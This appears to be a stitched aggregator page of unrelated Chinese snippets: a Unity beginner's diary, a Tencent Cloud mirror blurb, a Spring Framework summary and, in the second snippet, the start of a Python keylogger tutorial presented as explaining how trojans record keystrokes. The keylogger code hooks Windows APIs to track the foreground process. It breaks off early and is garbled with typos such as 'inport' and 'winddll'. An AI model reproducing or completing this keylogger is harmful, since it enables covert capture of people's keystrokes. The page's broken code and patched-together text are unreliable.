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边学边做的第一个Unity小游戏

学Unity开发,肯定先要了解小Unity这个开发工具长什么样。 第一次看到Unity界面的时候,我第一反应是,我靠,这不是犀牛么。学工业设计的人应该接触过犀牛这款3D建模软件,主界面也是一个3D透视界面。我本以为一般编程软件,主界面肯定是一行行代码的书写窗口,没想到Unity会是视觉为主的一个工具。所以一开始unity给我的的印象就比较友好。我大概的摸索了其他窗口、菜单啥的没感觉毫无头绪,完全不知道该怎么开始,怎么下手。所以我还得先去网上找点教程看看。一开始我是去Unity官网找教程,发现官方给的教程很详细,而且从浅到深都有相关的视频,非常适合新手看。但是因为当时Unity官网加载实在是太慢了,看个视频卡的我都要心肌梗塞了,所以决定去看看有没有别的课程。后来我发现paws3d的不错,就一直学下去了。了解了一些大致基础知识点: Unity开发是用C#语言编写代码的,当然也可以用JavaScript,因为我学过OC所以直觉上选择了C#这种脚本语言。2.C#语言的一些基础特性:基本数据类型、关系运算逻辑运算、条件判断语句、循环语句等。 Unity需要学习的几个大的系统:动画系统、物理系统、...

想知道木马程序的键盘记录原理吗?python告诉你 !

前言 Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。 # -*- coding: utf-8 -*- from ctypes inport import pythoncom import pyHook import win32clipboard user32 = winddll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = Note def get_current_process(): #获取最上层的窗句柄 hwnd = user32.GetForegroundWindow() #获取进程ID pid = c_ulong(0) user32. GetwindowThreadProcessId(hwnd,byref(pid)) #将进程ID存入变量中 process_ = "%d" % pid...

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为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

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Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

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